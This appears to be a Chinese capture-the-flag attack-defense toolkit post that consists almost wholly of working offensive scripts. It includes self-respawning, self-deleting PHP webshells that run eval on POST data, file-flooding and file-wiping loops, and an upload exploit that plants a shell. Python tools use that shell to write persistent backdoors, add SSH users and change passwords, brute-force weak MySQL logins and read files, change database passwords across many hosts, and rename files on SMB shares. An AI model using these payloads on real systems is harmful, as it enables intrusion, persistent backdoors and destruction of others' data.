打比赛的奇招妙想附脚本

<?php
# ?k=xq17
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.config.php';
$code = '<?php if(substr(md5(@$_REQUEST["k"]),25)=="8aa1b46"){@eval($_POST[a]);} ?>';
while (1){
    is_dir($file)rmdir($file):file_put_contents($file,$code);
    usleep(1);
}
?>

<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
while(True)
{
        #删除指定目录下的文件
    array_map('unlink', array_filter(glob('/var/www/html/public/test/*'), 'is_file'));
    usleep(1);
}
?>

<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$base64 = "PD9waHAgaWYoc3Vic3RyKG1kNShAJF9SRVFVRVNUWyJrIl0pLDI1KT09IjhhYTFiNDYiKXtAZXZhbCgkX1BPU1RbYV0pO30gPz4=";
while(1) {
    file_put_contents('.'.mt_rand().'.php',base64_decode($base64));
}
?>

<?php
# ?k=xq17
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.config.php';
$code = '<?php if(substr(md5(@$_REQUEST["k"]),25)=="8aa1b46"){@eval($_POST[a]);} ?>';
$base64 = "SGVsbG8sIGhha2NlciwgMzYwdGVhbQ==";
while (True){
    file_put_contents(mt_rand().".".md5(mt_rand()),$base64);
    file_put_contents(mt_rand().".".md5(mt_rand()),$base64);
    file_put_contents(mt_rand().".".md5(mt_rand()),$base64);
    file_put_contents(mt_rand().".".md5(mt_rand()),$base64);
    file_put_contents(mt_rand().".".md5(mt_rand()),$base64);
    is_dir($file)?rmdir($file):file_put_contents($file,$code);
     #删除指定目录下的php*文件
    array_map('unlink', array_filter(glob('./*.php*'), 'is_file'));
    array_map('rmdir', array_filter(glob('./*'), 'is_dir'));
}
?>

<?php
if(!file_exists("./upload")){
    mkdir('./upload');
}
if($_FILES['file']){
    $ext = end(explode('.', $_FILES['file']['name']));
    $filename = './upload/' . md5(time()) . '.' .$ext;
    move_uploaded_file($_FILES['file']['tmp_name'],$filename);
    echo "stored in :".$filename;
}else{
    echo "please upload file,parameter is file!";
}
?>

# 上传漏洞利用
# @pysnooper.snoop("debug.log")
# @pysnooper.snoop()
def upload_vul(url):
    print("upload_vul function working...")
    code = """<?php var_dump(md5("123"));eval(@$_POST['xq17']);?>"""
    files = {
        "file": ('shell.php',BytesIO(code.encode()))
    }
    try:
        if config['debug']:
            res = requests.post(url, files=files, timeout=5, proxies=config['proxies'])
        else:
            res = requests.post(url, files=files, timeout=5)
        text= res.text
        # shell地址的正则
        pattern = re.compile("[\.](/(.*).php)")
        shell_url = pattern.search(text).group(1)
        if shell_url  is not None:
            print("[+]upload_vul Success! Get Shell:{url}".format(url=shell_url))
        else:
            print("[-]upload_vul Fail! ")
        return shell_url
    except Exception as e:
        pass

# 检测shell存活
# @pysnooper.snoop("debug.log")
@pysnooper.snoop()
def check_alive(url):
    try:
        # 0=> 简单探测 1是特殊字符匹配探测
        mode = 1
        if mode == 0:
            try:
                code = requests.head(url).status_code
                if code == 200:
                    return True
                else:
                    return False
            except:
                pass
        if mode == 1:
            try:
                html = requests.get(url).text
                if "202cb962ac59075b964b07152d234b70" in html:
                    return True
                else:
                    return False
            except:
                pass
    except Exception as e:
        pass

# 写入md5内存php马
# @pysnooper.snoop("debug.log")
# @pysnooper.snoop()
def  memeory_shell(shell, shellpass):
    print("memeory_shell function working".center(80,"-"))
    # 内存马文件名
    filename = "." + hashlib.md5(str(time.time()).encode()).hexdigest() + ".php"
    # 内存马密码 随机8位密码
    password = "".join(random.sample(string.ascii_letters + string.digits, 8))
    php_code = """<?php
        ignore_user_abort(true);
        set_time_limit(0);
        unlink(__FILE__);
        $file = '{filename}';
        $code = '<?php if(substr(md5(@$_REQUEST["k"]),25)=="{submd5}"){{@eval($_POST[a]);}} ?>';
        while (1){{
            is_dir($file)?rmdir($file):file_put_contents($file,$code);
            usleep(1);
        }}
        ?>
    """.format(filename=filename, submd5=hashlib.md5(password.encode()).hexdigest()[25:])
    try:
        evil_body = {
            shellpass:"file_put_contents({filename},base64_decode({code}));var_dump('ok');".format(filename=filename.encode(), code=base64.b64encode(php_code.encode()))
        }
        res = requests.post(shell,data=evil_body)
        if 'ok' in res.text:
            parse_shell = parse.urlparse(shell)
            # 获取当前相对路径
            mememory_url =  parse_shell.scheme + "://" + (parse_shell.netloc + "/".join(parse_shell.path.split('/')[:-1]) + "/" +filename).replace("//", "/")
            # 自定义shell路径
            #  mememory_url =
            # print(mememory_url)
            # 返回获取的phpshell地址,这里需要根据实际来调整
            print("[+]memeory_shell Success! mememory shell:{}".format(mememory_url))
            # 写入到 shell.txt
            with open("shell.txt", "a+") as f:
                f.write(mememory_url + "-" +password + "\n")
            return mememory_url
        else:
            print("[-]memeory_shell Fail! ")
            exit(0)
    except:
        pass

# 干扰和批量删除文件
# @pysnooper.snoop("debug.log")
# @pysnooper.snoop()
def dos_rm(shell, shellpass):
    dos_code = """
            <?php
            ignore_user_abort(true);
            set_time_limit(0);
            unlink(__FILE__);
            $base64 = "SGVsbG8sIGhha2NlciwgMzYwdGVhbQ==";
            while (True){
                file_put_contents(mt_rand().".".md5(mt_rand()),$base64);
                file_put_contents(mt_rand().".".md5(mt_rand()),$base64);
                file_put_contents(mt_rand().".".md5(mt_rand()),$base64);
                file_put_contents(mt_rand().".".md5(mt_rand()),$base64);
                file_put_contents(mt_rand().".".md5(mt_rand()),$base64);
            }
            ?>
    """
    rm_code = """
            ignore_user_abort(true);
            set_time_limit(0);
            unlink(__FILE__);
            while (True){
                array_map('unlink', array_filter(glob('./*.php*'), 'is_file'));
                array_map('rmdir', array_filter(glob('./*'), 'is_dir'));
            }
            ?>
    """
    # 这里按需要选择需要写入的代码
    # code = [dos_code]
    code = [rm_code]
    # code = [dos_code, rm_code]
    for _ in code:
        filename = "." + hashlib.md5(str(time.time()).encode()).hexdigest() + ".php"
        try:
            evil_body = {
                shellpass:"file_put_contents({filename},base64_decode({code}));var_dump('ok');".format(filename=filename.encode(), code=base64.b64encode(_.encode()))
            }
            res = requests.post(shell,data=evil_body)
            if 'ok' in res.text:
                parse_shell = parse.urlparse(shell)
                # 获取当前相对路径
                url =  parse_shell.scheme + "://" + (parse_shell.netloc + "/".join(parse_shell.path.split('/')[:-1]) + "/" +filename).replace("//", "/")
                # 开始触发脚本
                if check_alive(url):
                    return True
                else:
                    return False
            else:
                print("[-]dos_rm Fail! ")
                exit(0)
        except Exception as e:
            print("[-]dos_rm Exception! ")

#!/usr/bin/python3
# -*- coding:utf-8 -*-

import requests, re, base64, time, random, string, hashlib
import pysnooper
from io import BytesIO
from urllib import parse


# 配置信息
config = {
    'debug': True,
    'proxies': {
        'http':'http://127.0.0.1:8080',
        'https':'https://127.0.0.1:8080'
        },
    'headers': {
        'Cookie': '',
    },
    'shell': 'http://127.0.0.1:8084/shell.php',
    'shellpass':'a',
}

def get_shell():
    url = ''
    return url


@pysnooper.snoop()
def execute_code(shell, password, code):
    try:
        evil_body = {
            password: code
        }
        res = requests.post(shell, data=evil_body, headers=config['headers'],timeout=5)
        if res.status_code == 200:
            return True
        else:
            return False
    except Exception as e:
        pass


def wrtie_htaccess(shell, password):
    # 这里主要写你要写入的配置文件路径
    filePath = "/var/www/html/uploads/.htaccess"
    content = """php_flag engine 0"""
    code = "file_put_contents({filePath},base64_decode({content}));var_dump('ok');".format(filePath=filePath.encode(), content=base64.b64encode(content.encode()))
    result = execute_code(shell, password, code)
    if result:
        print("[+]wrtie_htaccess Success!")
    else:
        print("[-]wrtie_htaccess Fail!")


def main():
    shell = config['shell'] if config['shell'] else get_shell()
    shellpass = config['shellpass'] if config['shellpass'] else 'xq17'
    # 写入htaccess文件
    while(True)
        wrtie_htaccess(shell, shellpass)
        time.sleep(1)



if __name__ == '__main__':
    main()

#!/usr/bin/python3
# -*- coding:utf-8 -*-

import gevent
from gevent import monkey; monkey.patch_all()
from multiprocessing import Process, Manager
import paramiko, pysnooper, time

# @pysnooper.snoop("sshPwndebug.log")
# @pysnooper.snoop()
def ssh(ip, username, password, cmd, stdinput="", port=22):
    # 创建 ssh客户端
    client = paramiko.SSHClient()
    try:
        # 第一次ssh远程时会提示输入yes或者no
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        # 通过密码的方式连接
        client.connect(ip, port, username=username, password=password, timeout=3)
        # 是否启用交互
        if stdinput:
            # 启用交互模式来执行
            chan = client.invoke_shell()
            chan.send(cmd + "\n")
            time.sleep(0.2)
            for char in stdinput.split("\n"):
                char = char.strip()
                chan.send(char + '\n')
                time.sleep(0.2)
            result = chan.recv(2048).decode()
            chan.send("exit(0)" + "\n")
            chan.close()
            return result[result.find(cmd):]
        else:
            # 尝试执行非交互命令
            stdin, stdout, stderr = client.exec_command(cmd)
            #获取命令执行结果
            cmd_result = stdout.read().decode(), stderr.read().decode()
            #返回执行结果
            return cmd_result

    except paramiko.AuthenticationException as error:
        print("[-]ssh Login Error! password or username not correct!")
        return ('', '')

    except Exception as e:
        print("[-]ssh Fail! Exception Error!")
        return ('', '')

    finally:
        # 关闭客户端
        client.close()


# @pysnooper.snoop()
def change_pass(ip, username, user, oldpass, newpass, port=22):
    # root 权限下快速更改密码
    cmd = "echo {user}:{password} | chpasswd".format(user=user, password=newpass)
    stdout, stderr = ssh(ip, username, oldpass, cmd, "", port)
    # 说明当前权限不对, 那么就尝试使用passwd命令来修改当前用户的密码
    if 'Authentication token manipulation error' in stderr:
        print("[-] change_pass ! chpasswd Fail not root, try passwd...")
        cmd = "passwd"
        stdinput = "{oldpass}\n{password}\n{password}".format(oldpass=oldpass, password=newpass)
        res = ssh(ip, username, oldpass, cmd, stdinput, 22)
        if 'password updated successfully' in res:
            print("[+]change_pass Success! ")
            return True
        else:
            # 这里因为有可能密码和原来密码一致
            if oldpass == newpass:
                print("[-]change_pass Fail!  oldpass equals newpass!")
            else:
                print("[-]change_pass Fail! unpredictable Error!")
            return False
    elif not stdout:
        print("[-]change_pass Fail!")
        return False


def add_user(ip, username, password, user, userpass, port=22):
    cmd = "adduser {user}".format(user=user)
    stdinput = "{password}\n{password}\n\n\n\n\n".format(password=password)
    output = ssh(ip, username, password, cmd, stdinput, port)
    if "password updated successfully" in output:
        print("[+] add_user Success:{ip}:{username}:{password}".format(ip=ip, username=username, password=password))
        return True
    else:
        print("[-] add_user Failed!")
        return False


def main():
    ip = 'xxxxx'
    port = 22
    username = 'test000'
    # password = 'xxxxx'
    password = 'test1111'
    add_user(ip, username, password, 'test000111', password)
    change_pass(ip, username, 'test000', password, 'test11112', 22)

if __name__ == '__main__':
    main()

#!/usr/bin/python3
# -*- coding:utf-8 -*-

import pymysql
import queue
import threading
import pysnooper
from concurrent.futures import ThreadPoolExecutor



# 尝试登陆的函数模块
# @pysnooper.snoop()
def try_login(params):
    user = params['user']
    pwd = params['pwd']
    port = params['port']
    host = params['host']
    try:
        db = pymysql.connect(host=host, port=port, user=user, password=pwd)
        print(f"[+]try_login Success! {host}:{user}:{pwd}")
        # 关闭数据库连接,防止阻塞
        db.close()
        return host + ':' + user + ':' + pwd
    except Exception as e:
        if "using password" in str(e):
            print("[-]try_login Fail! password Error!")
        else:
            print(e)
        return False

# 简单、少量的密码fuzz
# @pysnooper.snoop()
def fuzz_pass(host, port, thread_num=20):
    user = ['root', 'admin', 'user', 'test']
    password = ['123456', 'root', '123', '', 'test']
    # 创建线程池
    with ThreadPoolExecutor(max_workers=thread_num) as t:
        args = []
        for u in user:
            for p in password:
                params = {}
                params['user'] = u
                params['pwd'] = p
                params['port'] = port
                params['host'] = host
                args.append(params)
        res = t.map(try_login, args)
        return [t for t in res if t]

# 执行单条sql语句
# @pysnooper.snoop()
def exec_sql(host, port, user, pwd, sql):
    try:
        # 建立连接
        db = pymysql.connect(host=host, port=port, user=user, password=pwd)
        try:
            cursor = db.cursor()
            # 执行SQL语句
            cursor.execute(sql)
            # 进行提交
            db.commit()
            # 获取执行结果
            res = cursor.fetchall()
            return res

        except Exception as e:
            print(f"[-]exec_sql Fail:{host}:{e}")
            return False

        # 及时断开链接防止堵塞
        db.close()

    except Exception as e:
        print(f"[-]exec_sql Fail! Exception:{host}")
        return False

# 修改当前登录用户的密码
# @pysnooper.snoop()
def change_current_pass(host, port ,user, pwd, newpwd):
    sql = f"ALTER USER USER() IDENTIFIED BY '{newpwd}';"
    result = exec_sql(host, port, user, pwd, sql)
    if result == ():
        print(f"[+] change_current_pass Success! {host}:{newpwd}")
    else:
        print(f"[-] change_current_pass Fail! {host}")

# 批量读取文件内容
def load_file(host, port, user, pwd, filePath):
    #要读取的文件路径
    sql = f"select load_file('{filePath}');"
    result = exec_sql(host, port, user, pwd, sql)
    try:
        if result[0][0]:
            return result
        else:
            print(f"[-]load_file Fail! try:{host}:{e}")
            return False
    except Exception as e:
        print(f"[-]load_file Fail! Exception:{host}:{e}")
        return False

def main():
    user = 'root'
    pwd = '1234566'
    port = 3308
    host = '127.0.0.1'
    # try_login(user, pwd, port, host)
    # print(fuzz_pass(host, port))
    sql = "select @@version"
    # exec_sql(host, port, user, pwd, sql)
    # change_current_pass(host, port, user, pwd, '1234566')
    # load_file(host, port, user, pwd, '/var/lib/mysql-files/flag')


if __name__ == '__main__':
    main()

# 批量攻击
def attack_others():
    # 生成目标
    config = {
        # 获得目标的类型: file文件读取 custom自己生成
        'type': 'custom'
    }
    targets = []
    if config['type'] == 'file':
        filename = "list.txt"
        with open(filename, 'r') as f:
            for line in f:
                # host, user, pwd, port = line.strip().split(':')
                targets.appen(line.strip())
    elif config['type'] == 'custom':
        user = 'root'
        pwd = '123456'
        port = '3308'
        # with open("ip.txt", r) as f:
        #     for ip in f:
        #         target = ip.strip() + ':' + user + ':' + pwd + ':' + port
        #         targets.append(target)
        cIP = '127.0.0.{i}'
        for i in range(1, 10):
            ip = cIP.format(i=i)
            target = ip.strip() + ':' + user + ':' + pwd + ':' + port
            targets.append(target)
    # 输出生成的目标
    print(targets)
    # 开始对目标开始攻击
    success_result = []
    # 单进程单线程版
    # print("正在启动单进程攻击!")
    # for ip in targets:
    #     # 修改当前登录密码
    #     newpwd = '123456'
    #     host, user, pwd, port = ip.split(':')
    #     result = change_current_pass(host, int(port) ,user, pwd, newpwd)
    #     if result:
    #         print(f"[+] attack_others>change_current_pass Success!")
    #         success_result.append(host)
    #     else:
    #         print(f"[+] attack_others>change_current_pass Fail!")
    # #输出最终成功的结果
    # print("[+] Success Count:{count}".format(count=len(success_result)))
    # print(success_result)
    # 多进程版
    print("正在启动多进程攻击!")
    p = Pool(10)
    result = []
    for ip in targets:
        newpwd = '123456'
        host, user, pwd, port = ip.split(':')
        resProcess = p.apply_async(change_current_pass, args=(host, int(port) ,user, pwd, newpwd))
        result.append(resProcess)
    p.close()
    p.join()
    success_result = [x.get() for x in result if x.get()]
    print("[+] Success Count:{count}".format(count=len(success_result)))
    print(success_result)
    print("All attack Done!")

#!/usr/bin/python3
# -*- coding:utf-8 -*-


from smb.SMBConnection import SMBConnection
from io import BytesIO
import random, string
import pysnooper

# 写文件
# @pysnooper.snoop()
def write_file(conn, service_name, path, content):
    file = BytesIO(content.encode())
    filename = "".join(random.sample(string.digits + string.ascii_letters,4)) + '_xq17666.txt'
    path = path +'/'+filename
    try:
        conn.storeFile(service_name, path, file)
        print(f"Write Success!:{content} > {path} ")
    except Exception as e:
        print(e)

# 列举共享目录
# @pysnooper.snoop()
def list_share(conn):
    print("Open Share:")
    # 获取共享的文件夹
    sharelist = conn.listShares(timeout=30)
    for i in sharelist:
        print(i.name)
    # 列出共享名下的文件

# @pysnooper.snoop()
def list_dir(conn, service_name, path):
    try:
        response = conn.listPath(service_name, path, timeout=30)
        for r in  response:
            print(r.filename)
        return response
    except Exception as e:
        print("[-] can't not access the resource!")

# 修改文件名
# @pysnooper.snoop()
def change_filename(conn, service_name, path):
    try:
        response = list_dir(conn, service_name, path)
        for r in response:
            if r.filename not in ['.', '..']:
                old_name = r.filename
                old_path = path + '/' + old_name
                # newname = '.'.join(oldname.split('.'))
                new_name = 'xq17666_' + old_name
                new_path = path + '/' + new_name
                conn.rename(service_name, old_path, new_path)
                # print(conn.getAttributes(service_name, old_path).isReadOnly)
                print(f"change_name Success {old_path}>{new_path}")
    except Exception as e:
        print(e)



def main():
    share_ip = '10.37.129.9'
    username = ''
    password = ''
    # 可以随意
    myname = 'hackerbox'
    # 可以随意
    remote_name = 'XQ1783FC'
    conn = SMBConnection(username, password, myname, remote_name, is_direct_tcp = True)
    assert conn.connect(share_ip, 445)
    list_share(conn)
    list_dir(conn, 'Users', '/xq17/share')
    change_filename(conn, 'Users', '/xq17/share')
    # for i in range(10):
        # write_file(conn, 'Users', '/xq17/share', 'test,hacker!')

if __name__ == '__main__':
    main()

<?php
@unlink($_SERVER['SCRIPT_FILENAME']); //删除自身
error_reporting(0); //禁用错误报告
ignore_user_abort(true); //忽略与用户的断开，用户浏览器断开后继续执行
set_time_limit(0); //执行不超时

$js = 'clock.txt'; //用来判断是否终止执行锁定（解锁）的文件标记
$mb = 'jsc.php'; //要锁定的文件路径
$rn = 'huifu.txt'; //要锁定的内容
$nr = file_get_contents($rn); //从文件中读取要锁定的内容
@unlink($rn); //删除“要锁定的文件内容”，不留痕迹

//创建一个后台执行的死循环
while (1==1) {
    //先判断是否需要解除锁定，防止后台死循环造成各种冲突
    if (file_exists($js)) {
        @unlink($js); //删除解锁文件
        exit(); //终止程序
    }
    else {
        @unlink($mb); //先删除目标文件
        chmod($mb, 0777);  //设置属性
        @unlink($mb); //先删除目标文件
        file_put_contents($mb, $nr); //锁定内容 //$fk = fopen($mb, w); fwrite($fk, $nr); fclose($fk);
        chmod($mb, 0444);  //设置属性
        usleep(1000000); //等待1秒
    }
};
?>